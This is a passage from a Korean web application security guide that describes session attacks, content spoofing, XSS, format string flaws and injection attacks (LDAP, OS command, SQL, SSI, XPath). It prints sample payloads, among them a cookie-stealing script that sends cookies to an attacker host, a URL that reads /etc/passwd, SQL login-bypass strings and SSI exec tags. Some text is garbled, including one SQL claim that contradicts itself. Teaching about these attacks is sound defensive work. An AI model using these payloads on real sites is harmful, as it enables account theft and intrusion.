과로 공격자는 획득한 사용자의 특권을 써서 웹사이트 요청을 할 수 있게 된다. 많
은 웹사이트에서는 처음 커뮤니케이션이 시작되고 난 뒤부터 사용자를 인증하고 추
적하도록 설계되어있다. 이를 위해 사용자는 자신의 신분을 웹사이트에 증명해야
하는 데 보통 ID/비밀번호(credential)가 필요하다. 이런 비밀 자격증명(credential)을
각 트랜잭션마다 주고받는 대신 웹사이트는 인증을 하면서 사용자 세션을 식별하는
고유한 "세션 ID"를 생성하게 된다. 추후 사용자와 웹사이트 간의커뮤니케이션은 인
증된 세션의 "증명"으로써 세션 ID와 연결되게 된다. 만약 공격자가 다른 사용자의
세션 ID를 예상하거나 추측할 수 있게 되면 부정행위가 가능해진다. 예를 들면, 웹
- 13 -

17. 사이트에서는 사유 알고리즘(proprietary algorithms)을 사용해서 세션 ID를 생성하
고자 한다. 이런 커스텀 방법론(custom methodology)은 자칫 통계수치만 증가시켜
세션 ID를 만들어 낼 수 있다. 또는 시간과 다른 컴퓨터간 특정 변수를 계산에 넣
어 조금 더 복잡한 처리절차가 있을 수 있다. 이런 ID는 세션 폼 필드나 URL에 숨
겨져서 쿠키에 저장된다. 만약 공격자가 세션 ID를 생성하는 데 쓰인 알고리즘을
결정하면 다음과 같이 공격이 진행된다.
1) 공격자는 현재 세션 ID가 필요한 웹 어플리케이션에 연결한다.
2) 공격자는 다음 세션 ID를 계산하거나 무차별 공격한다.
3) 공격자는 쿠키/숨겨진 폼 필드/URL안의 현재 값을 바꾸고 다음 사용자의 신원을
가정한다.
□ 불충분한 인가(Insufficient Authorization)
불충분한 인가는 웹사이트가 액세스 컨트롤 제한 수위를 높여야 하는 민감한 내
용이나 기능에 대한 액세스를 허용할 때 일어난다. 웹사이트에서 사용자를 인가한
다고 해서 임의로 허가되어야 하는 내용이나 기능에까지 모두 100% 액세스가 가능
하다는 것을 뜻하지는 않기 때문이다. 웹사이트의 민감한 부분은 관리자 정도를 제외
하고는 제안될 필요가 있음을 뜻하는 것이다. 예를 들면, 웹사이트는 관리 컨텐츠와
기능을 /admin이나 /logs와 같이 숨겨진 디렉터리에 보관했었다. 공격자가 직접 이런
디렉터리를 요청했을 때에 액세스가 가능했다. 그래서 공격자는 웹 서버를 재설정
하거나 민감한 정보에 액세스하거나 웹사이트를 해칠 수 있음을 뜻한다.
□ 불충분한 인가(Insufficient Session Expiration)
불충분한 세션 만료는 공격자가 오래된 세션 자격증명(session credential)이나 세
션 ID를 인가 받기 위해 다시 쓰는 경우에 일어난다. 불충분한 세션 만료는 다른
사용자의 도난 및 도용 등의 공격에 대한 웹사이트의 노출을 증가시키는 것이다.
HTTP는 stateless protocol이기 때문에, 웹사이트에서는 보통 요청이 들어올 때마다
세션 ID를 사용자를 식별하는 고유 수단으로 써왔다. 결과적으로 다수의 사용자가
같은 계정으로 액세스하는 것을 막기 위해 각 세션 ID의 기밀성이 유지되어야만 했
다. 도난당한 세션 ID는 다른 사용자의 계정을 보거나 사기 트랜잭션을 수행하는데
쓰일 수 있음을 뜻하는 것이다. 예를 들어 공격자는 네트워크 스니퍼(네트워크 분석
기, network sniffer)나 XSS를 통해 세션 ID를 가로챌 수 있다. 도난당한 토큰이 바
로 쓰인다면 세션만기일을 짧게 잡는다고 해서 별 도움이 안될 지 몰라도 계속해서
그 세션 ID가 재사용되는 것은 막아줄 것이다. 불충분한 세션 만료 때문에 공격자
는 웹 브라우저의 뒤로 가기 버튼을 사용해서 희생자가 액세스했던 이전 웹 페이지
에 액세스 할 수 있음을 뜻한다. 만기일을 길게 잡으면 공격자가 유효한 세션 ID를
추측해서 성공할 확률을 높여주는 셈이 된다. 시간이 길면 동시 발생 세션 수와 개
- 14 -

18. 방세션수가 많아져서 공격자가 추측할 수 있는 숫자풀이 커지기 때문이다.
□ 세션 고정(Session Fixation)
세션 고정은 사용자의 세션 ID이 명시적 값(explicit value)이 되도록 강요하는 공
격 기법이다. 타깃이 되는 웹사이트의 기능에 따라 여러 개의 기법이 세션 ID 값을
"고정"시키기 위해 사용될 수 있다. 이런 기법은 XSS에서부터 웹사이트에 이전
HTTP 요청을 공격(pepper)하는 기법에 이르기까지 다양하다. 사용자의 세션 ID가
고정된 다음에 공격자는 사용자가 로그인 할 때까지 기다려야 한다. 사용자가 로그
인을 하면 공격자는 미리 정한 세션 ID 값을 이용하여 온라인 신원을 가정한다.
일반적으로 세션 관리 시스템에는 두 가지가 있다. 첫 번째는 웹 브라우저가 어떤
ID든 명시하도록 해주는 "permissive" 시스템이다. 두 번째는 서버측 발생값
(server-side generated values)만 수용하는 "엄격한(strict)" 시스템이다. Permissive
시스템에서 임의적 세션 ID는 웹사이트와의 접촉 없이 유지된다. Strict 시스템에서
는 공격자가 "트랩세션(trap-session)"을 유지해야 한다. 주기적으로 웹사이트 접촉이
있어야 하며 강제종료 타임아웃(inactivity timeout)을 방지해야 한다. 세션 고정
(Session Fixation)에 대한 능동적인 보호가 없을 때, 인증 받은 사용자를 확인하기
위한 세션을 사용하면 어떤 웹사이트에도 공격이 가능하다는 말이다. 세션 ID를 쓰
는 웹사이트는 통상 쿠키를 이용하고, URL과 숨겨진 폼 필드 또한 쓰이고 있다. 불
행히도, 쿠키기반 세션은 가장 쉬운 공격대상이다. 따라서, 대부분의 알려진 공격방
법은 쿠키 고정을 겨냥한 공격이라고 해도 과언이 아니다. 세션 고정 공격은 보통
세 단계로 진행되는데 다음 아래와 같다.
1) 세션 셋업
공격자는 타깃웹사이트를 위한 "트랩 세션"을 조정하고 그 세션의 ID를 획득한다.
또는 공격자는 공격에서 쓰인임의 세션 ID를 선택할 수도 있다. 일부 경우에 설정
된 트랩 세션 값은 반복되는 웹사이트 접촉을 유지해야 한다.
2) 세션 고정
공격자는 트랩세션 값을 사용자의 브라우저에 소개하고 사용자의 세션 ID를 고정한다.
3) 세션 입장
공격자는 사용자가 타깃 웹사이트에 로그인할 때까지 기다린다. 사용자가 로그인을
하면 고정된 세션ID 값이 사용되고 그러면 공격자는 넘겨받을 수 있게 된다.
다음은 사용자의 세션 ID 값을 고정을 어떻게 시키는지 실제 예를 통해 알아보겠다.
- 15 -

19. o 클라이언트측 스크립트(Client-side script)를 이용한 쿠키 발행
새로운 세션 ID 쿠키 값 발행하기 위해 도메인의 어느 웹사이트에나 존재하는
XSS 취약성은 현 쿠키 값을 수정하는데 쓰일 수 있다.
http://example/<script>document.cookie="sessionid=1
234;%20domain=.example.dom"</script>.idc
o 메타 태그를 이용한 쿠키 발행
이 방법은 이전 방법과 비슷하지만 XSS가 HTML 스크립트 태그 인젝션 공격을
방지할 때 효과적이다.
http://example/<meta%20http-equiv=Set-Cookie%20
content="sessionid=1234;%20domain=.example.dom">.idc
o HTTP 응답 헤더를 이용한 쿠키 발행
공격자는 타깃웹사이트나 도메인 내 다른 웹사이트가 세션 ID 쿠키를 발행하도록
강요하는 방법이다.
- 도메인 내 웹 서버 침입(예: 관리가 잘못된 WAP 서버)
- 사용자의 DNS서버를 해침. 공격자의 웹 서버를 도메인에 효율적으로 부가시킴
- 악성 웹 서버를 도메인에 조정(예: 윈도우 2000도메인에 워크스테이션, 모든 워
크스테이션 또한 DNS 도메인에)
- HTTP 응답 분리 공격악용
o 장기 세션 고정화 공격
사용자가 컴퓨터를 재시작하고 나서도 세션이 고정되게 해준다.
http://example/<script>document.cookie="sessionid
=1234;%20 Expires=Friday,%201Jan2010%2000:00:00%20GMT"</script>.idc
3.3 클라이언트측 공격(Client-side Attacks)
클라이언트측 공격은 웹사이트 사용자에 대한 남용(abuse)이나 악용(exploitation)
에 초점을 맞춘다. 사용자가 웹사이트를 방문했을 때에 기술적․심리학적으로 양자
간의 신뢰가 구축이 된다. 사용자는 방문한 웹사이트가 유효한 내용을 전달해줄 것
으로 믿고 방문하는 동안 공격이 없을 것으로 기대한다. 이러한 관계적 기대치를
역이용하는 것이다.
□ 컨텐츠 스푸핑(Contents Spoofing)
컨텐트 스푸핑은 사용자가 웹사이트에 나타나는 특정 컨텐트가 합법적인 것이며
출처가 외부소스가 아니라고 믿게 하는 공격기법이다. 일부 웹 페이지는 동적으로
- 16 -

20. 구축된 HTML 컨텐트 소스를 사용한다. 예를 들어, 프레임의 소스 위치(<frame
src="http://foo.example/file.html">)는 URL 매개변수 값으로 specify될 수 있다.
(http://foo.example/page?frame_src=http://foo.example/file.html). 공격자는 "frame_src"
매개변수 값을 "frame_src=http://attacker.example/spoof. html"로 교환할 수 있게
된다. 결과 페이지가 떴을 때, 브라우저 위치 바는 눈으로 봤을 때에는 사용자가
예상했던 도메인(foo.example)에 남아있게 되나, 실제로 외부 데이터(attacker.example)가
합법적인 컨텐트의 옷을 입고 있는 것이다. 특별히 만들어진 링크가 사용자의 이메일
이나 메신저로 보내져서 게시판에 남게 된다. 또는 XSS공격을 써서 사용자에게 강
요할 수 있다. 만약 공격자가 자신의 악성 URL을 써서 지정 웹 페이지를 사용자가
방문하도록 하는데 성공하면 사용자는 인증된 컨텐트를 보고 있다고 믿게 된다. 사
용자는 스푸핑된 컨텐트를 무조건 믿게 된다. 브라우저 로케이션 바에 http://foo.example
라고 뜨기 때문이다. 하지만 사실 진짜 HTML 프레임은 http://attacker.example가
된다. 이 공격은 사용자와 웹사이트간 형성된 신뢰관계를 이용하는 것이다. 이 기법은
가짜(fake) 웹 페이지를 생성하는데 쓰여져 왔으며 여기에는 로그인 폼, 웹페이지
변조(defacements), 거짓 보도자료(false press releases)등이 있다. 다음은 예를 통해
컨텐츠 스푸핑 공격을 알아보도록 하겠다.
웹사이트가 보도자료 웹 페이지를 위해 동적으로 생성된 HTML 프레임을 사용한
다고 하고 사용자는 (http://foo.example /pr?pg=http://foo.example/pr/01012003.html)과
같은 링크를 방문하게 될 것이다. 결과 웹페이지 HTML은 아래와 같을 것이다.
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content"SRC="http://foo.example/pr/01012003.html>
</FRAMESET>
</HTML>
위 예에서 보이는 "pr"웹 어플리케이션은 정적 메뉴(static menu)와 동적으로 생성
된 FRAME SRC가 있는 HTML을 생성하고 있다. "pr_content" 프레임은 요청된
보도자료(press release) 컨텐트를 보여주기 위해 "pg"의 URL 매개변수 값으로부터
소스를 끌어낸다. 그러나, 공격자가 정상 URL을 http://attacker.example/
spoofed_press_release.html 로 바꾸면 어떻게 될까? "pg" 값에 대한 적절한 온전성
검사(sanity checking)가 없으면 결과 HTML은 아래와 같이 될 것이다:
<HTML>
<FRAMESET COLS="100, *">
<FRAME NAME="pr_menu" SRC="menu.html">
<FRAME NAME="pr_content" SRC="
http://attacker.example/spoofed_press_release.html">
</FRAMESET>
</HTML>
- 17 -

21. 최종 사용자에게 스푸핑된 "attacker.example" 컨텐트가 진짜 내용처럼 나타나고
합법적인 소스에서 전달되게 되는 것이다.
□ XSS(Cross-site Scripting)
크로스사이트스크립팅(XSS)은 웹사이트가 공격자 제공 실행가능 코드를 에코
(echo)하도록 강요하는 공격기법이다. 이는 사용자의 브라우저에 로드된다. 코드 자체는
보통 HTML/JavaScript로 쓰여 지지만 VBScript, ActiveX, Java, Flash, 그 외 브라우저
지원 기술로 확대될 수 있다.
사용자의 브라우저가 공격자의 코드를 수행하도록 하는데 성공하면 코드는 호스팅
웹사이트의 보안 컨텐트(또는 zone)내에서 돌아가게 된다. 이때, 코드는 어떤 민감
한 데이터라도 브라우저로 액세스 가능하다면 읽고, 수정하고 전송할 능력을 갖게
된다. XSS 공격은 본래 사용자와 웹사이트간의 신뢰관계를 해치는 것이다. XSS공격
에는 두 가지가 있다. 지속적이지 않은 공격과 지속적인 공격이다. 지속적이지 않은
공격은 사용자가 악성 코드를 만들어 특별히 정교하게 만든 링크로 방문하도록 한
다. 링크는 방문하면 URL에 내장된 코드가 에코(echo)되고 사용자의 웹 브라우저
내에서 수행된다. 지속적인 공격은 악성 코드가 일정기간 저장되었던 웹사이트에
제출될 때 발생한다. 공격자가 선호하는 타깃에는 게시판 게시물, 웹 메일 메시지,
웹 채팅 소프트웨어가 있다. 다음은 예를 통해 XSS 공격을 알아보도록 하겠다.
1) 지속적인 공격(Persistent Attack)
많은 웹사이트에서 가입한 사용자가 글을 올릴수 있는 게시판을 호스팅하고 있다.
가입한 사용자는 보통 글을 올릴 수 있도록 인증해주는 세션 ID 쿠키로 추적당한다.
만약 공격자가 특별히 만든 JavaScript를 포함한 글을 올리게 되면 그 글을 읽은
사용자의 쿠키와 계정이 훼손될 수 있다.
<SCRIPT>
document.location='http://attackerhost.example/cgi-bin/
cookiesteal.cgi?'+document.cookie
</SCRIPT>
2) 지속적이지 않은 공격(Non-Persistent Attack)
많은 웹 포탈에서 웹사이트의 개인화면을 제공하고 있다. 그리고 로그인한 사용자
에게 "<이름>님, 환영합니다"와 같은 환영 메세지를 띄운다. 때로 로그인한 사용자를
참조하는 데이터가 쿼리되어 스트링내 저장되어 화면으로 에코(echo)되는 경우가
있다
http://portal.example/index.php?sessionid=12312312& username=Joe
- 18 -

22. 위 예에서 볼 수 있듯이 사용자 이름 "Joe"는 URL에 저장된다. 결과 웹페이지는
"Welcome, Joe"라는 메시지를 띄운다. 만약 공격자가 쿠키를 훔치는 JavaScript
(cookie-stealing JavaScript)를 삽입해서 URL에 있는 사용자 이름 필드를 수정할 수
있다면 사용자 계정에 대한 권한을 얻을 수도 있게 되는 것이다. JavaScript가 URL에
내장된 것을 보면 많은 사람들이 의심을 가질 것이다. 그래서 대부분의 경우, 공격
자는 아래 예와 비슷하게 악성 페이로드(payload)를 URL 인코딩한다.
쿠키를 훔치는 URL(Cookie Stealing URL)의 URL 암호화 예:
http://portal.example/index.php?sessionid=12312312&
username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65
%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70
%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65
%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F
%6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64
%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73
%63%72%69%70%74%3E
쿠키를 훔치는 URL의 암호화 예:
http://portal.exampl e/i ndex.php?sessi onid=12312312&
username=<script>document.location='http://attacker host.example/cgi- bin/cookiesteal.cgi?
'+document.cookie</script>
3.4 명령어 수행(Comma n d E x e c u t i o n)
여기에서는 웹사이트에 대한 원격 수행을 목적으로 한 공격에 대해 다룬다. 모든
웹사이트는 요청을 완수하기 위해 사용자가 제공하는 데이터를 이용한다. 사용자가
제공하는 데이터는 종종 구조 명령(construct commands)을 창출하기 위해 쓰이며
그 결과 동적인 웹 페이지 컨텐트가 나오게 된다. 이 과정이 안전하지 못하게 진행
되면 공격자가 명령어 수행을 바꿀 수 있게 되는 것이다.
□ 버퍼 오버플로우(Buffer Overflow)
버퍼 오버플로우 익스플로이트는 메모리를 덮어써서 어플리케이션의 흐름을 바꾸는
것이다. 버퍼 오버플로우는 에러 컨디션으로 이어지는 경우 중에 흔한 소프트웨어
결함이다. 이 에러 컨디션은 데이터가 메모리에 버퍼사이즈 처리용으로 할당된 량
이상으로 씌여지면 발생한다. 버퍼가 오버플로우 되면서 인접한 메모리 주소가 덮어
써질 때 소프트웨어에 장애나 결함이 생긴다. 규제가 없으면, 적절히 만들어진 입력
(properly-crafted input)이 버퍼 오버플로우에 쓰일 수 있어 여러 보안 문제를 야기
할 수 있게 되는 것이다. 버퍼 오버플로우는 메모리가 corrupt되어 소프트웨어 장애
- 19 -

23. 가 생길 때 서비스거부(DoS) 공격으로도 쓰일 수 도 있다. 더 중요한 것은 버퍼 오
버플로우 공격이 어플리케이션 서비스 순서를 바꿀 수도, 의도하지 않은 동작을 강
요할 수도 있는 능력이 있다는 것이다. 버퍼 오버플로우 취약성은 스택 포인터
(stack pointer)를 덮어쓰기 위해, 프로그램이 악성 명령을 수행하지 못하도록 리디
렉션하기 위해 쓰여져 왔다. 버퍼 오버플로우는 또한 프로그램 변수를 바꾸기 위해
서도 쓰여져 왔다. 버퍼 오버플로우의 주된 이유로는 공격자가 어플리케이션 소스
코드나 소프트웨어 이진(binary)을 분석해야 하기 때문에 생기게 되는데, 공격자가
원격시스템에 있는 커스텀 코드(custom code)를 악용해야 하기 때문에 공격을 은밀
하게 진행시켜야 했고 성공률도 희박했다. 버퍼 오버플로우 취약성은 대부분 C나
C++과 같은 프로그래밍 언어에서 가장 흔히 발생하며, 최근에는 웹 프로그램인
CGI 프로그램에서도 발생하고 있다.
□ 포맷 스트링 공격(Format String Attack)
포맷 스트링 공격은 다른 메모리 스페이스에 액세스하는 라이브러리 특징(library
feature)을 포맷하는 스트링을 사용하여 어플리케이션의 진행순서를 바꾼다. 취약성은
스트링 입력을 특정 C/C++ 기능. (예: fprintf, printf, sprintf, setproctitle, syslog,
...)을 위해 포맷하면서 사용자 제공 데이터가 직접 사용될 때 발생한다. 공격자가
웹 어플리케이션에 대한 매개변수 값으로써 printf 변환 문자(예:"%f", "%p", "%n" 등)로
이루어진 스트링을 지나면 다음 아래와 같은 행위가 가능해 진다.
- 서버에 임의의 코드를 실행할 수 있다.
- 스택 외 (off the stack) 값을 읽을 수 있다.
- 조각내기 장애/소프트웨어 충돌을 일으킬 수 있다.
다음은 예를 통해 포맷 스트링 공격을 알아보도록 하겠다.
웹 어플리케이션이 사용자가 지정한 매개변수 emailAddress(이메일주소)를 가지
고 있다고 가정하자. 이 어플리케이션을 이 변수의 값을 printf 기능을 사용하여 프
린트하게 된다.
printf(emailAddress);
EmailAddress 매개변수로 보내진 값이 변환문자(conversion character)를 포함하
고 있다면 printf는 변환문자(conversion character)를 구문분석(parse)하고 추가 공급
된 유사 인수(argument)를 사용할 것이다. 만약 그런 인수(argument)가 실제로 존
재하지 않는 다면 스택(stack)으로부터의 데이터가 printf 기능에 의해 기대되는 순
서에 맞게 사용될 것이다. 이러한 경우 포맷 스트링 공격의 가능한 사용은 다음과
같다:
- 스택으로부터의 데이터를 읽는다: 만약 printf 기능의 출력 스트림(output
stream)이 공격자에게 다시 가게 되면 공격자는 conversion 문자 "%x"를 보내어
(1회 이상) 스택의 값을 읽을 수 있다.
- 프로세스 메모리로부터 문자 스트링을 읽을 수 있다: printf 기능의 출력스트림
- 20 -

24. (output stream)이 다시 공격자에게 다시가게 되면, 공격자는 (특정위치에 도달
하기 위해서 다른 변환문자와) "%s" 변환문자를 사용하여 임의의 메모리 프로세
스 메모리로부터 문자 스트링을 읽을 수 있다: printf 기능의 출력스트림(output
stream)이 다시 공격자에게 다시 가게 되면, 공격자는 "%s" 변환 문자를 사용하
여 임의의 메모리 위치에 있는 문자스트링을 읽을 수 있게 되는 것이다.
- 프로세스 메모리에 있는 위치에 정수값(interger value)를 쓸 수 있다: "%n" 변환
문자를 써서, 공격자는 정수값을 메모리 내 어느 위치에나 쓸 수 있다
□ LDAP 인젝션(LDAP Injection)
LDAP(Lightweight Directory Access Protocol) 인젝션 공격은 LDAP 문장을 사용
자가 제공하는 입력으로 부터 구성되는 웹사이트를 악용하기 위해 쓰이는 기법이다.
LDAP은 X.500 디렉터리 서비스를 조회하고 조작하기 위한 공개표준(open-standard)
프로토콜이다. LDAP 프로토콜은 TCP와 같은 인터넷 전송 프로토콜 위에서 작동한
다. 웹 어플리케이션은 사용자 제공 입력을 사용해서 동적인 웹 페이지 요청을 위
한 커스텀 LDAP 문장을 생성할 수 있으며, 웹 어플리케이션이 사용자 제공 입력을
적절히 모두삭제 하지 못하면, 공격자가 LDAP 문장의 구성을 변경할 수 있게 된다.
공격자가 LDAP 문장을 수정할 수 있게 되면 그 프로세스는 그 명령을 수행하는
구성요소처럼 같은 허가를 받고 진행되게 된다. 즉, 쿼리에 대한 권리나, LDAP 트
리 내의 어떤 것이라도 수정 및 삭제할 수 있는 권리를 뜻하기 때문이다. 같은 종
류의 SQL 인젝션 공격에서도 사용 가능한 고급 악용 기법을 LDAP 인젝션 공격에
서도 비슷하게 적용할 수 있음을 말해주는 것이다.
다음은 예를 통해 LDAP 인젝션이 어떻게 가능한지 알아보겠다.
Vulnerable code with comments:
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim Username
line 5: Dim Filter
line 6: Dim LdapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
- 21 -

25. line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request.
Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: ")" ' filter = "(uid=" + CStr(userName) +
searching for the user entry
line 19:
line 20:
line 21: 'Creating the LDAP object and setting
the base dn
line 22: Set ldapObj =
Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User
information for : " +
ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount -1
line 37: Response.Write("<b>" +
ldapObj.AttrType(i) + "</b> :
" + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
- 22 -

26. line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
코드를 보면 10번째 줄의 username(사용자ID) 변수가 user(사용자) 매개변수로
초기화되고 다시 그 값이 비었는지를 확인하는 것을 보게 된다. 해당 값이 비지 않
으면 username(사용자ID)은 18번째 줄의 filter(필터) 변수를 초기화하는데 쓰인다.
이 새로운 변수는 27번째 줄의 SearchFilter(검색필터)에 대한 요청에 쓰이게 될
LDAP 쿼리 구성에 직접적으로 쓰인다. 이 시나리오에서 공격자는 LDAP 서버에서
조회결과에 대해 전적인 컨트롤을 갖게 된다. 그리고 코드가 32번째 라인에서 40번
째 라인에 도달하면 쿼리 결과를 얻게되고, 32-40에서는 모든 결과와 속성이 다시
사용자에게 나타나게 되는 것이다.
□ OS Commanding
OS Commanding은 어플리케이션 입력 조작을 통해 OS 명령어를 수행시켜서 웹
사이트를 악용하는 공격 기법이다. 웹 어플리케이션이 사용자의 입력을 통해 쓰기
전에 어플리케이션 코드 안에서 적절하게 모두삭제하지 못하면, 어플리케이션이 OS
명령어를 수행하도록 속일 수 있다. 수행된 명령어는 그 명령어를 수행시키는 구성
요소와 같은 허가권을 갖게 된다
다음은 사용자의 세션 ID 값을 고정을 어떻게 시키는지 실제 예를 통해 알아보겠다.
펄은 ‘I’(파이프) 문자를 파일명 끝에 추가시켜서 프로세스에서 파이핑 데이터가
개방 문장(open statement)으로 가도록 해준다.
# Execute "/bin/ls" and pipe the output to the open statement open(FILE,
"/bin/ls|")
웹 어플리케이션은 템플릿으로 표시되었거나 사용된 파일을 하는 매개변수를 포
함할 때가 많다. 웹 어플리케이션이 사용자가 입력한 것을 모두삭제 하지 못하면
공격자는 매개변수 값을 파이프 심볼에 뒤따른 셸 명령어를 포함하는 것으로 바꿀
수 있다.
웹 어플리케이션의 원래 URL이 아래와 같다면
http://example/cgi- bin/showInfo.pl?name=John&template=tmp1.txt
템플릿 매개변수 값을 바꿔 공격자는 웹 어플리케이션이 명령어/bin/ls 을 수행하도
록 속일 수 있다. http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls
대부분의 스크립팅 언어는 다양한 실행 기능을 사용해서 런타임 동안 프로그래머가
OS 명령어를 수행하도록 해준다. 사용자가 입력한 것이 모두삭제 되지 않고, 기능
요청안에서 사용되도록 웹 어플리케이션이 허락하면 공격자가 원격으로 OS 명령어
- 23 -

27. 를 조종할 수 있게 되는 것이다. 예를 들어 여기에 시스템 디렉터리(유닉스 시스템)
내용을 나타내는 PHP 스크립트가 있다고 가정하자.
셸 명령 실행:
exec("ls -la $dir",$lines,$rc);
OS명령어에 세미콜론(;)을 첨가함으로써 웹 어플리케이션이 두 번째명령을 수행할
수 있게 되었다 http://example/directory.php?dir=%3Bcat%20/etc/passwd 결과는
/etc/passwd 파일의 내용을 복구하게 되는 것이다.
□ SQL 인젝션(SQL Injection)
SQL 인젝션은 사용자제공입력으로부터 SQL 문장을 구성하는 웹사이트를 악용하
던 공격기법이다. 구조적 질의 언어(SQL)은 쿼리를 데이터베이스로 보내는 방법을
사용한다. 대부분의 small and industrial-strength 데이터베이스 어플리케이션은
SQL 문장을 사용해서 액세스를 얻을 수 있다. SQL은 ANSId 와 ISO 표준이다.
그러나 SQL을 지원하는 많은 데이터베이스 제품이 표준언어(standard language)에
대해 사설 확장자(proprietary extensions)를 쓰고, 웹 어플리케이션은 동적인 웹 페
이지 요청을 위해 사용자 제공입력을 사용해서 커스텀 SQL 문장을 생성할 수 있다.
웹 어플리케이션이 사용자가 입력한 것을 모두삭제 하지 못하면 공격자가 백엔드
SQL 문장의 구조를 바꿀 수 있다. 공격자가 SQL 문장을 수정할 수 있게 되면 이
프로세스는 그 명령을 수행하는 구성요소와 같은 허가권을 갖게 된다. 이 공격의
영향으로 인해 공격자는 데이터베이스에 대한 전체적인 통제력을 얻거나 심지어 시
스템의 명령어를 수행할 수 있게 될 수도 있다. 다음은 SQL 인젝션을 어떻게 수행
하는지 실제 예를 통해 알아보겠다.
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)
위 코드에서 개발자는 사용자 입력을 폼으로부터 취해서 SQL 쿼리를 직접 내장
하고 있다. 공격자가 다음과 같은 아이디와 비밀번호를 제출했다고 하자
Login: ' OR ''='
Password: ' OR ''='
이로 인해 SQL 쿼리 결과는 다음과 같이 나타나게 되는 것이다.
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
사용자 제공 데이터를 Users table의 엔트리와 비교하는 대신 쿼리는 '' (비어있는
- 24 -

28. 스트링)을 '' (비어있는 스트링)에 비교하고 있다. 이러면 True result를 보여주게 되
며 그러면, 공격자는 Users table의 첫 번째 사용자 처럼 로그인하게 된다.
SQL 인젝션 공격에는 두 가지 방법이 있는 것으로 알려져 있다. 첫 번째는
Normal SQL 인젝션이며, 두 번째는 BlindSQL 인젝션이다.
1) 노멀 SQL 인젝션(Normal SQL Injection)
공격자는 union select 문장을 매개변수에 첨부시켜 데이터베이스에 액세스할 수
있는지 여부를 테스트해볼 수 있다.
http://example/article.asp?ID=2+union+all+select+na me+from+sysobjects
그러면 SQL 서버는 다음과 같은 에러를 보여줄 수 있다
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
statement containing a UNION operator must have an equal number of
expressions in their target lists.
이는 공격자의 SQL 문장이 작동하기 위해서는 알맞은 열 수를 추측해야 한다는
것을 공격자에게 말해준다.
2) Blind SQL 인젝션 공격
Blind SQL 인젝션 공격에서 서버는 데이터베이스 에러 대신 고객 친화적인 오류
페이지를 반환해준다. 사용자에게 오류가 났다고 알려주면서. 이런 경우에 SQL 인
젝션 공격은 여전히 가능하지만 탐지하기는 어렵다. 일반적으로 Blind SQL 인젝션
공격을 탐지하는 방법은 매개변수 값에 참/거짓 문장을 넣는 것이다.
다음아래와 같이 웹사이트에 다음의 요청을 수행하면
http://example/article.asp?ID=2+and+1=1 다음과 같은 웹 페이지를 보여줄 것이다:
http://example/article.asp?ID=2 SQL 문장'과 1=1' 은 항상 참이기 때문이다.
웹사이트에 다음의 요청을 하면: http://example/article.asp?ID=2+and+1=0 웹사이
트가 친절한 설명을 덧붙인 에러 페이지로 돌아가거나 어떤 페이지도 보여주지 않
을 것이다. 이것은 SQL 문장 "and 1=0"이 항상 참이기 때문이다. 웹사이트가 Blind
SQL 인젝션에 약하다는 것을 공격자가 한번 알아내면 어떤 경우에는 노멀 SQL 인
젝션 공격보다 더 쉽게 그 취약성을 이용할 수 있게 되는 것이다.
□ SSI 인젝션 공격(SSI Injection)
SSI 인젝션 공격은 공격자가 웹 어플리케이션으로 코드를 보낼 수 있도록 해주는
서버측 악용 기법이다. HTML 웹 페이지를 보여주기 전에 웹 서버는 서버에 포함된
문장(Server-side Include statement)을 사용자에게 제공하기 전에 분석(parse)하고
실행하게 된다. 이때, 공격자가 서버에 포함된 문장(Server-side Include statement)을
제출하면, 임의 운영시스템 명령을 실행할 수 있는 능력을 갖게 되거나 다음에 해당
- 25 -

29. 웹 페이지가 뜰 때 제한된 파일 내용까지 포함할 수 있는 능력을 갖게 된다. 따라서,
다음과 같이 SSI 태그는 공격자가 유닉스 기반 시스템의 루트 디렉터리 리스팅에
들어갈 수 있게 해준다.
<!--#exec cmd="/bin/ls /" -->
또한, SSI태그는 공격자가 데이터베이스 연결 스트링이나 .Net 설정파일에 포함된
다른 민감한 데이터를 획득할 수 있도록 해준다.
<!--#INCLUDE VIRTUAL="/web.config"-->
□ XPath 인젝션(XPath Injection)
XPath 인젝션은 사용자입력으로부터 Xpath 쿼리를 구성하는 웹사이트를 악용하
는데 쓰이는 공격기법이다. Xpath 1.0은 XML 문서의 일부분을 참조하는데 쓰이던
언어이다. 어플리케이션은 Xpath 1.0을 직접적으로 써서 XML 문서를 조회할 수 있다.
Xpath의 구문(syntax)은 SQL 쿼리와 비슷한 점이있다. 실제로 SQL 같은 쿼리를
XML 문서에 Xpath를 사용해서 형성할 수 있다. 예를 들어, user(사용자)이름 요소
를 포함한 XML 문서가 있다고 가정하자. 각각의 user 요소는 name(이름),
